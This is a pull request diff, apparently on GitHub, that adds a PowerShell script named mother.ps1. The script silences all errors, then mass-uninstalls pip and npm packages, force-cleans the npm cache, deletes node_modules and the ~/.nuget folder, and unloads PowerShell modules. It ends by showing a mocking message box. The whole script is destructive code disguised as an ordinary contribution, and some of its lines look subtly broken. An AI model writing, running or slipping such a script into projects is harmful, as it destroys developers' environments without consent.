Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions mother.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
$script:ErrorActionPreference = 'SilentlyContinue'

# pip
'pip', 'pip3' | ? { Get-Command $_ } | % {
& $_ list --disable-pip-version-check --format json | ConvertFrom-Json | % { & $_ uninstall -y $_.Name}
}

# npm
'npm' | ? { Get-Command $_ } | % {
& $_ cache verify
& $_ cache clean --force
& $_ uninstall *
}
Remove-Item -Recurse -Force node_modules

# PowerShell
Get-InstalledModule | Remove-Module

# dotfiles
Remove-Item -Recurse -Force ~/.nuget

# Show message
if ($PSVersionTable.PSEdition -eq 'Desktop' -or $IsWindows) {
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.MessageBox]::Show('您配吗?')
}
Write-Host '您配吗?' -ForegroundColor Magenta